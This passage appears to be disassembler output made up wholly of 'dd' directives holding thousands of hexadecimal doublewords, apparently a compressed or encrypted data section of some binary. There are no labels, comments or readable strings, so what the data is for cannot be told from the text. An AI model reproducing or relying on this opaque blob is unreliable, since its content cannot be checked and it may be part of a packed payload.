		dd 7600492Eh, 723ACEB3h, 0B03086ACh, 73650004h,	0F7D90A94h
		dd 0DE89BF66h, 8154202Ah, 2E0BA64Eh, 90568C06h,	0AF2A1Ch
		dd 9FF7CBEDh, 0A4C596ACh, 3AB81805h, 0E8918884h, 686140ABh
		dd 1D28B7D8h, 0CBB5E2ADh, 545A7C05h, 0D35DDB1Eh, 0F3654D82h
		dd 5F44669h, 0CDA12BDFh, 59708325h, 64594EAAh, 0FA7CDD00h
		dd 8B700Bh, 0A9A5514Dh,	0A7547783h, 2996341Fh, 0A686FB4Bh
		dd 1390ED94h, 84F203h, 6C5E7578h, 0FC1666BEh, 44203A06h
		dd 0C4A30Dh, 36A0B645h,	94B27A73h, 0DC401D5Fh, 0ED025D5Eh
		dd 9A8B068Ch, 50402B30h, 29E04504h, 5CC1857Fh, 0B42052B4h
		dd 0D718825h, 78E7B090h, 59D68148h, 0F03FB772h,	400B5A7h
		dd 6D6291E8h, 0E8D263FCh, 8004B16Bh, 0B26EFFEBh, 8C94839Ah
		dd 0A8A38C43h, 1C739414h, 0C0FEE3F2h, 0D5B16DFFh, 0A6005443h
		dd 2C5DDE8Fh, 1A641878h, 81B2F5B3h, 0F7E2CC0h, 803EA8A4h
		dd 490E80BDh, 664D73FBh, 0B49EC0h, 3F86A8BEh, 0CA0470F8h
		dd 10A969DCh, 48F14F4h,	88580B38h, 60F8C0BDh, 835854FCh
		dd 0AC3B2900h, 4D40A71Ch, 0CF616FB4h, 908BF63Ch, 18A001C8h
		dd 86F0A27Dh, 1F8392Eh,	0D90975CEh, 8473E9A5h, 0F9723Dh
		dd 54A6165Bh, 8FA4BEFFh, 8C4EA81Fh, 18CBF314h, 19BE5567h
		dd 0B93700E7h, 2D525042h, 0B225DE46h, 8864ECh, 1BF5161Dh
		dd 0D7DD885Eh, 3C67CE09h, 8C448Dh, 489DAA4Ah, 0B45A6151h
		dd 0EBDDD405h, 0D4AC5EA9h, 0DAC0048Eh, 2CCDAB6Fh, 0E00CBE0h
		dd 0B7B1E70Dh, 969144h,	1046F4C8h, 0ACDA26F7h, 0B0F83160h
		dd 3BEB32E3h, 0D526FD91h, 5C7A6018h, 1A01EAF6h,	0CF0ABA7Ch
		dd 21FC5AECh, 10C8A061h, 34614CCh, 0C04FF476h, 676E1EBCh
		dd 0C0A8295Ch, 0B2F9783Eh, 0CD57B7Fh, 0C9B43694h, 0CF777640h
		dd 8944A197h, 769C4EBDh, 0AF620084h, 48D6B0F3h,	5EA6A30Fh
		dd 2CC182B1h, 18DCE19Bh, 9488114h, 0E4722Eh, 456C843h
		dd 0EC66B80h, 0EAD148ADh, 0E6424080h, 4D001876h, 0B0A62A43h
		dd 7178643Fh, 7E493A50h, 98C71199h, 37D864BCh, 864CAF7Ch
		dd 4060CFC4h, 7FF63933h, 0A10325AEh, 0AD00A444h, 0CE942F2Bh
		dd 0E858486Ch, 0C26609C6h, 0F8A3EB18h, 8A0C467h, 8113D740h
		dd 0E4E34D28h, 22428300h, 97ADF323h, 5801D200h,	85A47854h
		dd 40EC05AEh, 0BECC30h,	53774BB4h, 0FF126FD1h, 8091B948h
		dd 0CC32A29Fh, 0C22F3648h, 0EA4EF081h, 88637Ah,	0A31CBCD3h
		dd 74D751h, 39C86D8h, 1232A63Fh, 0B0D3D44Fh, 4531E0A9h
		dd 7B08001Ah, 0D28A89C5h, 899C658h, 0C4377182h,	789AE042h
		dd 34D22C2Dh, 33700880h, 0BFFEA980h, 3D6F3E09h,	194CFB7h
		dd 34002037h, 9FD57213h, 3D025E0Fh, 0A65F3FC7h,	0C0946398h
		dd 50C6A723h, 238183Bh,	33AD9B43h, 0ECE8D003h, 870BA484h
		dd 7904C6DFh, 663E00E8h, 0BE6B11B1h, 0FBAF5E02h, 7484BF59h
		dd 87FF1398h, 1DA40010h, 606072C6h, 1081610h, 6CBD0E62h
		dd 0F27A31A9h, 6AC0F864h, 5DAEDFE3h, 2C6718D1h,	540CA87Ah
		dd 1C4080FDh, 19F36C5Fh, 0A67C12h, 0AD04222Fh, 61F54D86h
		dd 7043FF1Ch, 53113270h, 78109FBDh, 800D93Ch, 97F687BFh
		dd 2E655B2Fh, 61A824D3h, 0C4FFB10Bh, 843EAAEBh,	0BD2980A1h
		dd 3EAE2C7Dh, 8B350246h, 459A5ED8h, 0B0001C51h,	0A2313B81h
		dd 0BC3C03ECh, 1017E094h, 0FCD9EAA1h, 48250941h, 46C41042h
		dd 9FBF1783h, 7D84909Bh, 8448A010h, 901B89D8h, 3E9BB14h
		dd 0B7038F0Ah, 9D8807EBh, 1A178EB1h, 0CC203711h, 12BE05h
		dd 0BBFA517h, 52FD5184h, 0E6C1984Eh, 4C60ECA9h,	391B22E0h
		dd 0F6FC9600h, 0F42C33C4h, 0CF690919h, 9C90120Bh, 0F3028A3Fh
		dd 270878E8h, 0E958E08Eh, 906F4FAFh, 3D4A5264h,	0E2BC2000h
		dd 3ADC942Dh, 0C9AF0026h, 0F51208E8h, 5A0272C4h, 4E16275Bh
		dd 0E8464Fh, 344145B2h,	8E296CDFh, 68F04D02h, 0F054ADBCh
		dd 1EDD3284h, 40660F98h, 6A8E2A00h, 74C4FD2Ch, 986000EEh
		dd 48AE16CBh, 0A6771BBDh, 90B50370h, 0DBC040h, 0C81333A0h
		dd 0BB72A3C6h, 0F6447A3Fh, 0D74A7002h, 0D9F7BC1Fh, 0A71680F4h
		dd 528AFC86h, 734D9109h, 1C74D9EAh, 71E60478h, 0DFA7C0FEh
		dd 6F09504Ch, 0E8A6D20Dh, 0A47B0568h, 20594CE0h, 6BE9E881h
		dd 0FC76F16Fh, 800D6E5Ah, 210F4FF4h, 21F5FC42h,	0EC78A256h
		dd 2500BAAAh, 5BD96C2h,	3F2152B0h, 19806016h, 59772CA5h
		dd 8348FCACh, 8806004Ch, 2089C301h, 2CB892DCh, 698BC72h
		dd 0D0646C7Ah, 22F3443Fh, 8DD02636h, 8B5641F8h,	3016E3A4h
		dd 30A0B770h, 7720021Dh, 1FA8F748h, 5F006064h, 5BEA9228h
		dd 48DFFC3h, 5A3F1795h,	0E0A2E0h, 0B75B28B5h, 7D86C956h
		dd 7C7560D5h, 5DD8E170h, 3F59C803h, 0C0082416h,	90D73FFh
		dd 832B5BD9h, 0F089B019h, 3100183Fh, 0FB13D795h, 25F1E29h
		dd 0CB29D0Fh, 1468ED89h, 0BA01812Ch, 0F4622D63h, 0DEF8880Fh
		dd 91EA095Ch, 0FE0A1DA7h, 6EDA8284h, 0C1807028h, 4C988E69h
		dd 78C63D2Ch, 0FA5EA005h, 0DE7FACE2h, 0A4470089h, 8789AB40h
		dd 3240E4B4h, 93DC6576h, 50D06B88h, 85D44014h, 86AA8428h
		dd 8D245781h, 0B544E0C2h, 4044B629h, 0D888AC6Eh, 0C9813C00h
		dd 0E5B98445h, 0D5070536h, 87893FB8h, 5E32C058h, 5971A56Ah
		dd 915F5005h, 50F8B2F5h, 7A3EB0A0h, 0A7650F00h,	6AF1416Eh
		dd 0F22400A4h, 0B871373h, 7C0030B5h, 0A64AD683h, 0B9DF282Bh
		dd 295580D8h, 0D1DBE347h
		dd 4A9C109Fh, 305E0045h, 0C4D56811h, 1016FFA0h,	0CE03041Ah
		dd 0A794BE21h, 7EF43851h, 0BD003C2Dh, 0B61D23A5h, 133BA90Ch
		dd 0D81E2CDFh, 0AB68E840h, 66A0108h, 7EC0368Dh,	15F8F4CBh
		dd 71427A03h, 0B54B2ED7h, 4C80ACA8h, 0DFA7D49Dh, 0B93C437Fh
		dd 80CEBE34h, 0A3220F9Ch, 95F5C94Eh, 77AFDCB0h,	85B5821Eh
		dd 79135C8Bh, 8BFE0320h, 0BAB27ED5h, 0BC7BDF60h, 0E04ABD00h
		dd 50C249FDh, 0E9EF38B0h, 4484E2Ch, 0B47DA00Ah,	0D0B41BC8h
		dd 9CF62580h, 1F2B6675h, 7F0FEEE8h, 817B0704h, 14B23Dh
		dd 4F31A40Ch, 857C6h, 0FE776B35h, 72A8CF19h, 53D7462Ch
		dd 14404F3Dh, 0F47F734Fh, 189D41h, 0AE098C06h, 0FBCC6904h
		dd 8D1F80E0h, 5EF9E9D8h, 0A703771Fh, 8801E892h,	0BB34835h
		dd 0FC1029AFh, 0A400FB79h, 7197304Eh, 60F044h, 0DDD0CB3Dh
		dd 2FCA0BD6h, 335C0103h, 0CFC68F98h, 8DC5F2B0h,	7B531F5h
		dd 2B3B6351h, 1539C40h,	1F144F24h, 40AF1CA3h, 0A6A9F4F2h
		dd 0AB1DCE43h, 57808882h, 0B16BDCB6h, 0ACB88Bh,	7907A104h
		dd 8F4EBE5Eh, 0B81C702Eh, 4F667360h, 0F35300BDh, 0B55CFABBh
		dd 0BF17CFE1h, 24002A48h, 36DD9830h, 88EC4BBAh,	2B03B424h
		dd 251BD852h, 0A650E708h, 7C6CE2h, 97AF1F36h, 7769145Dh
		dd 3D155C1Ch, 71209CC0h, 0E7F0DFh, 3EF18561h, 22959ECFh
		dd 8B3C30C1h, 0C7FCE21Fh, 0D61000FBh, 0DE47EEDFh, 9E306A8Fh
		dd 0E3072977h, 0CE800A5h, 0A1DAF1D6h, 370CAAA6h, 78219A7Eh
		dd 5A9F0C22h, 0FE8927B0h, 0C33C707Dh, 0C80E810Fh, 0C4E953E8h
		dd 0F82ED340h, 3CF40090h, 10B68CDFh, 39C70AE6h,	0D8509613h
		dd 609ED6E7h, 2D08816Bh, 0B701AA25h, 1304CD07h,	98EF5BC0h
		dd 3F8F9672h, 3403D906h, 3657DED8h, 0E52C8798h,	0E6FBB5A0h
		dd 9FCFD702h, 81C240FCh, 2739E0A2h, 8F88B980h, 0AA44F347h
		dd 3D72BF1Dh, 9F7858D8h, 0D381C06Ah, 4D1E3114h,	2486E700h
		dd 40CD5588h, 0B99DF5B0h, 2667C048h, 348769B6h,	995CF900h
		dd 18F7D62Ah, 745406BDh, 3113B4ECh, 321CF300h, 0C87E30B9h
		dd 3B730083h, 4D45A449h, 2161D810h, 892CB729h, 0BE0AC8h
		dd 0EF2BED27h, 0B3BD8751h, 0A16D9E30h, 0A3D57h,	42D985Bh
		dd 3674C14h, 2042A603h,	76C9E9Bh, 29782829h, 0BE9DE3B1h
		dd 61A4B6D9h, 90BDD08Dh, 56209F00h, 9C7E0C3Ah, 4790A8B4h
		dd 0AF08C011h, 0E9863993h, 16F21C00h, 783E1DE0h, 0B42B0013h
		dd 0B89DEBE2h, 2490CE25h, 3958B5h, 16E9BBACh, 0C0EE1358h
		dd 25A66C18h, 7992C59h,	207106D2h, 19B3C67Eh, 6F17BE18h
		dd 0A828B0B1h, 0DCBC84h, 0E67EA658h, 0C3167665h, 139DDF00h
		dd 0A1EF8A2Fh, 0CA609FF1h, 17097DFBh, 8016C979h, 259A099Eh
		dd 3030A049h, 59960B2Eh, 995CB0F2h, 7B6D1A07h, 0A10AC663h
		dd 0AEF8DBB3h, 0EB102475h, 0A1EE674Ch, 80B54920h, 714AF849h
		dd 0F4CF37h, 0B3EAF783h, 0AAAE62DFh, 0C221751Fh, 8069034Fh
		dd 0EDBB850Ch, 40DC030Dh, 0E111076h, 0EAB05900h, 0CBA9EF1Fh
		dd 0F966609Fh, 4D2B5FFh, 0BF2A9E0Ah, 0BEC024h, 0E52BB0FBh
		dd 3ABB96h, 5E39D7BDh, 0E411ACCEh, 0A3330614h, 0E77B28CEh
		dd 0D609057Eh, 38C3754h, 0F03EB994h, 23B26EFh, 0AD17CDABh
		dd 9B41BBFBh, 0DB342015h, 0E1BF3932h, 0FA605F8Ah, 14773BD5h
		dd 0F1003778h, 0B82109FFh, 0C3249054h, 9193BEC6h, 3EDDA100h
		dd 1EF7F4E7h, 64860096h, 18555F04h, 9E300D3Ch, 1FD72990h
		dd 951900D8h, 5F97FC1h,	16004DA3h, 3C5208ADh, 60381F25h
		dd 53F4F9A5h, 9660A41Eh, 91068E11h, 0D52E065Fh,	1912445Eh
		dd 0CB91600h, 704DA5FEh, 0F657AF3h, 0FD490B83h,	796C2CE0h
		dd 4498CCFAh, 7576093Ah, 0CD09CA76h, 18FDA6ABh,	0B906F8h
		dd 0D7DA729Ch, 4553DEAAh, 74CDBF28h, 0C8B0FD3Bh, 7B3D3E74h
		dd 6A19636Fh, 0D387EC1Dh, 55A0FA96h, 0B3D085Ch,	0A0BC738Fh
		dd 9C80AA43h, 1C30104Fh, 3AB0310Bh, 906D4988h, 19A26680h
		dd 713C5E4Bh, 0D83BC2A1h, 0DDC5AA81h, 0D0CF2B6Fh, 0F11666ECh
		dd 423B020h, 7E1680D2h,	19D007Bh, 0DC8C50DDh, 92048AE1h
		dd 0F6E026F1h, 0CCC25E80h, 0C17E639Eh, 0AED090E4h, 0D3008589h
		dd 9C103466h, 2AB1CC23h, 6B41444h, 0EB7516FAh, 7B0B6E3Eh
		dd 80ACBEBFh, 52CD1DC0h, 0F1B400DCh, 9156CEC5h,	0A89A7E44h
		dd 12D7A300h, 5442247Dh, 6D870D63h, 47D920A1h, 0C6D650D8h
		dd 8938CF2Eh, 0FEA781CCh, 1AB5367Fh, 8F16D980h,	0D8827024h
		dd 14B35A18h, 0F9A319h,	46E8111Eh, 0B539858Eh, 0E55AE300h
		dd 7D5B1FBFh, 0BD8A074h, 0D2160BC6h, 60000DEFh,	0B036FF43h
		dd 0A7491B60h, 0F6C3318Dh, 38CA69Fh, 769B267Bh,	0DEA05B32h
		dd 0CB0A251Ch, 0D4986CC5h, 77A34503h, 0C021F31Ah, 3CA76FA2h
		dd 1F85D954h, 88978C96h, 0CE00D414h, 64DD3977h,	3CB1D30h
		dd 806A0F54h, 68E0D929h, 6C14BB61h, 86F8B7A8h, 188965C8h
		dd 19ABA27Eh, 0E801A8F1h, 9AE9D376h, 0A8D34CD9h, 0B16C5E6h
		dd 177B10B2h, 0CBBF8A01h, 8F204194h, 175410ADh,	0CF7B1689h
		dd 7D643037h, 3B00140Ah, 0F862DCB2h, 0E4BEA915h, 35D3005Eh
		dd 0CE99FEFFh, 7C881C96h, 4EA00091h, 3666D5AEh,	50C8CCACh
		dd 98A421h, 71ECAB1h, 7B0564B3h, 0A4CC5EC5h, 117CF000h
		dd 3658B2Ch, 0C459EEB0h, 0D00266A6h, 0A517D752h, 0D43063CEh
		dd 0AC8D7E43h, 1750C105h, 188220D5h, 937E2295h,	3A009444h
		dd 0ADCB6867h, 18BBD017h, 2957FEBEh, 0B700E0D8h, 0CF6B03B9h
		dd 32AE10h, 75ADE977h, 0AFF84079h, 1EE53A1Dh, 0D5C62487h
		dd 484D4422h, 63B864h, 0DFC5265Fh, 682850C0h, 4AA01318h
		dd 0BD7E921h, 0B3614B11h, 552E8890h, 0E453C39h,	0C0FE4D8Ch
		dd 3474DDBEh, 0F8781E58h, 0B93748h, 2E197090h, 99B3CC07h
		dd 0C1C20624h, 0E7F9E0D7h, 33360014h, 9CB803D9h, 0B6004652h
		dd 67EE1E7Bh, 181835DBh, 79841F10h, 0CE4864FDh,	746B0B8Ah
		dd 5F4090B0h, 957D00E8h, 0C35A8009h, 17009811h,	3D50EB18h
		dd 0CDE71C0h, 0B245695Bh, 28005399h, 0BB8E3C3h,	544BF5h
		dd 40C1D09Ah, 69323041h, 0CB007171h, 458616F1h,	50AF310h
		dd 6DE0BEC2h, 0E770003Ch, 68ACD916h, 0FA300100h, 0A9A44EDh
		dd 3EF20E36h, 0CC417C3Dh, 3415458Fh, 0B90F3938h, 0C0AAD9C9h
		dd 0E1F81D6Eh, 0C5560086h, 0EB81162Fh, 0A94C72CDh, 0C9DC9450h
		dd 0A7FC00E0h, 9B78C7h,	0DBF982D4h, 5D45CE62h, 0C62EE8A4h
		dd 9F81346Ah, 8C8A55A4h, 744CB065h, 0A67A2CACh,	0EADD02E2h
		dd 886620B9h, 33E80700h, 0C308EFB8h, 51E067h, 88CEAD60h
		dd 60D4265h, 0E4996490h, 8ACA3383h, 0EE694041h,	92AEC0DAh
		dd 0D8599CD5h, 643B3D2Ah, 12A29D01h, 35EC2371h,	0BE93C07Bh
		dd 0EA129A98h, 0D4909F75h, 0E8234D4h, 0AB4A42ACh, 5D8D80FFh
		dd 23EFE1A1h, 91072E03h, 803A7A47h, 1686CCE3h, 0FB5EE72h
		dd 66FD56C0h, 304D47A8h, 0B91C6368h, 58869B03h,	0B8F7273Eh
		dd 5C92ADCh, 0DB43AC6h,	6448C1AAh, 178864ABh, 38B0FCBAh
		dd 0DC1F8800h, 1A5E9E02h, 0EC2092Fh, 4064F4A3h,	5272D401h
		dd 0B241F6EAh, 7B436DF8h, 48B44C54h, 0F511D983h, 5393C2D0h
		dd 3DB8EC7Ch, 0C0CEA400h, 7D4051EFh, 3CF6F2h, 533FDB73h
		dd 0D8332ECDh, 1DF0E24Ch, 13C4ACBh, 1424E91h, 4424BB49h
		dd 0A0CF0057h, 3EEA0ABEh, 110FCABFh, 80C5B113h,	7792A444h
		dd 9A73171h, 24464731h
		dd 1F007418h, 40764250h, 0D15FE2h, 0EC35B50Ch, 944C83FFh
		dd 0AAA30601h, 44B6FD3Dh, 52CE1C40h, 69110B32h,	768E82CFh
		dd 8F994DE0h, 0C2037EF7h, 0BE601FB2h, 97310090h, 8D2BB125h
		dd 0A35C72C4h, 14EAC580h, 45AEB405h, 76DD8C8h, 960D98E1h
		dd 0E0B163C3h, 0CC46A8E0h, 0C294FD00h, 0BAF4B82Ch, 60455C7Dh
		dd 0CF41127Ch, 0A5D002EBh, 20293E72h, 2102CA60h, 52DA00D8h
		dd 0C69335E8h, 296E79DCh, 0BD3C8478h, 0D1FCCB43h, 54BB2CB8h
		dd 0D4D30405h, 6CC819AFh, 0C49E0F7Bh, 4C40DC44h, 6D1E8DE6h
		dd 0A64EA700h, 6B1B1759h, 18C25CBDh, 2BA2CF02h,	1C6065D7h
		dd 0A402A9D8h, 85748E93h, 2098E177h, 0C4524512h, 19F03200h
		dd 0C93B92F1h, 0AFE055h, 2FBCEA12h, 10D6584Eh, 1C76F728h
		dd 1ECFB244h, 5BE643h, 9AFBDA40h, 4E00F0E4h, 5256B4B3h
		dd 5E2C3h, 0BD096591h, 0A6E940CBh, 10B9D927h, 0F6564Ch
		dd 74549FB4h, 2823F2ACh, 373ACC04h, 9CB4440Ah, 72DF00C3h
		dd 0C4D74B07h, 8E75FA65h, 3B696404h, 0C0FA5AA2h, 45FFEAF2h
		dd 0D819F1F1h, 0D805BF31h, 4BA07258h, 0FC992C88h, 20374BBDh
		dd 4D69FC8Ch, 0ED2DE701h, 2405C272h, 3D8CF4h, 0A466E0BFh
		dd 36E8E43Ah, 33099675h, 8063F9CFh, 0D89AF3D4h,	96C05C40h
		dd 34005C5Dh, 596AF14Eh, 67005881h, 71F315C4h, 1574D768h
		dd 0A0B845CBh, 0E0F22Eh, 64A9A16h, 17075758h, 41742544h
		dd 0A0946439h, 75F4A43h, 3386CF01h, 3DF9B0E1h, 4D122925h
		dd 38009E62h, 665EEE6h,	0DFA207CAh, 10CD1899h, 1040D23Ah
		dd 8228EB5Ch, 0A9493E13h, 0B8348088h, 0B8633A4Fh, 0CA6B2420h
		dd 70B6604Ch, 10008B7Bh, 0C4BFD2C3h, 8AA017h, 31E98691h
		dd 52AA16C6h, 0A4201B4Eh, 584324h, 9553579Fh, 0E961CA8h
		dd 513A8C00h, 7CC4E911h, 0D810279Dh, 55A20C20h,	2560B07Bh
		dd 0F19BFB11h, 17C00B3h, 0C7FE3135h, 0A326332Fh, 66607C65h
		dd 12E63424h, 1BF7A8Bh,	9FA9792Ch, 2A401762h, 1BEC31Ch
		dd 2CC059F0h, 0E0339B05h, 0DD0B98F3h, 8EEE9F6Dh, 2F0B6552h
		dd 0D3EC8Ch, 54E39DA8h,	66C31EEBh, 0B1F19800h, 0B9CE1B8Ch
		dd 7A390094h, 0DDF24371h, 8E0F302Dh, 0D29B7E0Ch, 91163891h
		dd 0EFCC3310h, 0A56D031Ch, 0D95084E6h, 66B000E7h, 0AA4E8201h
		dd 97397504h, 0FB20786h, 26F66412h, 83651E99h, 9A42C035h
		dd 0A1E67F56h, 0B2F9A209h, 2E000072h, 92208749h, 0ADB6265Ch
		dd 1F10264Ch, 0F3F1396h, 2DC1D5A8h, 0DC1B261Fh,	0B0921044h
		dd 7A9D7401h, 46C1A3E9h, 24880D4h, 854F015h, 0CCE444A4h
		dd 7E10A101h, 72B4EBB1h, 50020410h, 0C17C9F01h,	1B239A68h
		dd 62A0F4h, 0B57FED05h,	0E1433FE9h, 689F1315h, 17C0008Ch
		dd 0B1FD5475h, 455BA8h,	88828FD2h, 0C80F9028h, 7306CDBCh
		dd 0B63CC8h, 8DB5306Eh,	37242BFFh, 710F7D00h, 97C1A2E4h
		dd 774F265Fh, 0D1D70ED4h, 6291A00h, 53146491h, 22CCB109h
		dd 1FD8B965h, 0E1629492h, 0CA4E3D00h, 0E893ECFDh, 4199C600h
		dd 9664C79Dh, 70300CDDh, 0E041619Fh, 0BAE38A00h, 136FD402h
		dd 0C62317A7h, 0D1790296h, 8677F9EFh, 0F316928h, 0C393B308h
		dd 242FEDE0h, 7000F1A4h, 0B8DCDD3Dh, 5868BFE9h,	0A527B877h
		dd 0C9BE6022h, 0C313B852h, 6000C1EFh, 7CCCE794h, 38585C8Dh
		dd 78001922h, 574A0C23h, 33524FFh, 65FB9277h, 0CDE8363Eh
		dd 1B00AC8Fh, 0E0C5AF30h, 29BBFA9Ah, 208846C8h,	43E60024h
		dd 9E73177Eh, 50994D5h,	80A49CE0h, 197DFFC0h, 71440B77h
		dd 0F44843C1h, 29FCDCABh, 0C2EEBC00h, 19F8D431h, 1F371CA2h
		dd 61D90132h, 30D5CBA3h, 86283AD4h, 0D813C83Fh,	74203C78h
		dd 78D21A7Bh, 77910099h, 0B22454F7h, 3A08E36Ah,	503AAAEh
		dd 0C03E4FCAh, 4B995C48h, 0DD067CB0h, 7F439CB6h, 0AC2E0E91h
		dd 8760CF8Eh, 0A8CD2492h, 8CCCB738h, 71BA3C9Fh,	66180074h
		dd 24918FFDh, 6C122931h, 80C8046Dh, 402DEB9Dh, 78168C00h
		dd 0C32AAC9Bh, 0D1A45105h, 2CC3B0CDh, 0CE79014Ah, 85E207B8h
		dd 862B3h, 14563298h, 386C86h, 4C094B7h, 0CFA16B17h, 0BF3A2611h
		dd 2079F07h, 95BB090h, 7C03330Ah, 0BB795C5Fh, 0C12C9081h
		dd 0CACE24C7h, 0E13A0904h, 0B39B1802h, 0F8A44724h, 0D5FB07A9h
		dd 10C1DEBCh, 422AD7D6h, 147FEF00h, 0FE1DA36Dh,	365301B7h
		dd 0DD7316D8h, 0C8C84291h, 0A0985C64h, 13285D50h, 0E3C65426h
		dd 0FF6D7703h, 0B4B9B1D2h, 7146A6C0h, 1F09008Fh, 0CC05BEEEh
		dd 0D800389Eh, 277FFADFh, 1F6D2F63h, 0E92F4D1h,	3C81DBDDh
		dd 0A4B0897Eh, 0BE6044B9h, 0B79FEh, 0C6F6EC1Bh,	3549594Ch
		dd 5348A6FAh, 116821E0h, 79E4C21h, 0DDB3F573h, 0AB80FAF0h
		dd 0B2082EEBh, 56D504D8h, 3A24C375h, 0AC5047CCh, 0E592D040h
		dd 0CC6000DFh, 0DA767459h, 0FC0013A0h, 3A1EFD50h, 7E8114BEh
		dd 419E4E1Ah, 0C58305A0h, 2C5BCC0Ah, 0B4F06C04h, 48802EA9h
		dd 0BF38F47h, 8A663AC6h, 9CAA6810h, 89CC013Ch, 4457F6D4h
		dd 5E923A38h, 73C77F0Eh, 0F2F7DF40h, 76E41046h,	4C8D6D02h
		dd 88D34BF0h, 0F1007CA9h, 3111C40Ch, 6FFF0070h,	0FDDE8BE7h
		dd 820BA092h, 4636E904h, 43F727B4h, 0CC236098h,	3E9EB800h
		dd 9FDD777Bh, 0E9521CBDh, 394940ADh, 552CB00Eh,	5D3B6409h
		dd 206C2F48h, 0D23D9F84h, 0D8D3A02Ah, 0EEBB0759h, 0C31E5642h
		dd 284C5D13h, 8C6DC0D0h, 2FFFDA3h, 0A917BCBBh, 5840CF1Bh
		dd 3A88AC90h, 0C23F0BAFh, 940136CBh, 353EE4A2h,	9638200Ch
		dd 12F46600h, 9EE3E1C6h, 237F4444h, 96016E01h, 75748593h
		dd 161E9879h, 88B89782h, 65004C04h, 0E6BC78A2h,	885891BEh
		dd 7D0DD920h, 185F939Ch, 81235C02h, 0C84B8980h,	0C0748130h
		dd 0CE0DA219h, 8C791FD1h, 0DED22B02h, 0E4B36F50h, 8D33001Ch
		dd 0E0E398A5h, 4002E545h, 7C7A8287h, 1450E30Bh,	8B06A336h
		dd 0CB6D9A04h, 79E49363h, 0C01756A7h, 1C199E3Ch, 0AE00FD37h
		dd 0CCC1CF36h, 0F93905CEh, 202830DCh, 0E2B4D398h, 10AF3E27h
		dd 0F799A4h, 85028AC4h,	0B6716955h, 94D83300h, 0F58C57CDh
		dd 4506292Bh, 0A4651DECh, 89B103B7h, 9017CB9Bh,	0D40FF577h
		dd 0FA3681BCh, 2200B848h, 0B3E6CEBh, 0F55E003Dh, 0DE23E2F4h
		dd 107C1748h, 3A54231Ch, 570031AEh, 441FCB42h, 9B806D1h
		dd 48F99A76h, 11295890h, 0E32D2A03h, 888DA938h,	1F7741CFh
		dd 0E80D08h, 4D6BD91h, 80140AECh, 0F41617h, 0A9A627E6h
		dd 27FE93BBh, 48203CBDh, 0E3C138CAh, 0C2456105h, 3CC06434h
		dd 127D04D9h, 11BE6EDDh, 8504E8A5h, 0A979A072h,	3692254h
		dd 37A55D80h, 65F9B9AAh, 60A9D19Dh, 0CD90D03Ch,	4F912300h
		dd 2ED93284h, 1721748Eh, 9EBEFB6h, 84489F1Eh, 5300B390h
		dd 69CD65BCh, 125D264h,	0A3C3E94h, 0C61110B5h, 7400C8DAh
		dd 0D3F1F8Fh, 0CB1DC1D5h, 54945FA8h, 0E536300h,	1876AE1Ch
		dd 1690DCh, 0BFB3C477h,	62CAE9C9h, 371F8D00h, 0C52F04ABh
		dd 0CBC0242Ch, 0B03D0904h, 0CE0FC4E8h, 771E6DFAh, 9F4480C8h
		dd 0D8C03753h, 7B95745h, 0ACCCC5AEh, 0B71640A4h, 69FE0DCAh
		dd 4394B000h, 0D55E9C0Eh, 0AF9A267Dh, 7B0A50E0h, 36C3821Eh
		dd 0E05380FEh, 0CF69763h, 747624D9h, 74111A2Ch,	833A64F2h
		dd 0F2790559h, 0EC913802h, 0AAFC7D43h, 0F740127Bh, 0C58C4014h
		dd 7D017E7h, 8ECCC700h,	2F3D575Dh, 2FDAEAA2h, 70991F06h
		dd 3C06297h
		dd 0A6796B59h, 2F5BA841h, 16EE1C7Fh, 0EC12C090h, 0CAFF911Bh
		dd 17F67C12h, 4433C402h, 40C487Bh, 386009Ah, 0C9EFCE3Ah
		dd 91009369h, 666F45Ah,	0B8D96040h, 0AECC12F8h,	0A6A002B6h
		dd 88D8317Fh, 3606C501h, 0FD5F49A2h, 0AD9C68E6h, 0C109750h
		dd 0DB00CD17h, 658BE30Dh, 4B0D966h, 0A7DC542Bh,	67CCC1FAh
		dd 6C984CDBh, 0AEE04701h, 133FCC62h, 0D0806438h, 0C19DB91Dh
		dd 0CAE0E89Ch, 0AE422E1h, 0D0E9D1F5h, 12AB1CECh, 571CC3B4h
		dd 0BEE2EAC0h, 3CA8E012h, 0FC23D020h, 937749h, 942C66E6h
		dd 67BA81DDh, 35681C1Fh, 0E54E8Bh, 6270870Fh, 0BC4092Fh
		dd 706843C2h, 6F00BF04h, 499448DBh, 1F864DA4h, 0C0B11516h
		dd 0C50BA7F1h, 700C4B02h, 90CCB325h, 0FF1C1DE2h, 55BB001Eh
		dd 0BD2C28DBh, 0D04E0ECh, 0FBCB714Ch, 0A08784A8h, 3441B19Ah
		dd 486424F8h, 5A56A900h, 0D0BB2F81h, 7FCB13Ch, 53CF955Ch
		dd 70AFC1BDh, 0D43FB453h, 3299CC00h, 0ADFCDE64h, 741C00B9h
		dd 270BCF3Ah, 0DCA061FBh, 721611A8h, 2BAFD2Fh, 7628A174h
		dd 0CD2588F8h, 8CD49036h, 63120685h, 8A816C99h,	25CC0F3Bh
		dd 0EEF4C804h, 7AF4B1h,	0BF8AE102h, 11ADD001h, 0F884BE00h
		dd 0E6CF4B90h, 376E072Ah, 70420FC5h, 9D961F2Bh,	8D083F60h
		dd 15EB7C0h, 5D90E40Dh,	38474365h, 844807C8h, 48495187h
		dd 7F3ACh, 6C6D89F6h, 0E4C06F88h, 29B89B00h, 0C1ACC5D6h
		dd 0F4B00E1h, 1F27ECA2h, 0A492A4A0h, 0CA3FE0C0h, 4A576CE0h
		dd 0EB188C32h, 0C6EEBF00h, 0B7E92E89h, 627A0F7Bh, 0F420AD52h
		dd 0A37579D6h, 718CFA49h, 92BF2E16h, 0B8F8C021h, 30593430h
		dd 0FFA9BC3Ch, 0B07116E8h, 41B35703h, 80F0AA46h, 489E06EFh
		dd 7F005084h, 758C2C11h, 109767F3h, 3DCBDACCh, 6D012B72h
		dd 9CB9FDB0h, 7D1CF0D4h, 8FDF343Fh, 0D47C4DBCh,	96910060h
		dd 0EF362648h, 6F7A003Bh, 0A5305EA1h, 0F503B0BBh, 1FB22B9Ch
		dd 7FA800AFh, 1EB9EE72h, 2719D8DCh, 97901A5Fh, 48003023h
		dd 47C204A5h, 7B01DAA6h, 21AEAA83h, 0D7F4E3C3h,	0E8BC0B5Bh
		dd 98915CD9h, 0C07DD82Fh, 4A0F6A7Eh, 0A1B76EC2h, 1ADF1619h
		dd 4FD14C0h, 0CED6961Eh, 87DC80D4h, 8BE81B8Ah, 0D9B66C00h
		dd 0BFEE1367h, 4A910205h, 65A2721Ah, 5CDE4060h,	0D3804C96h
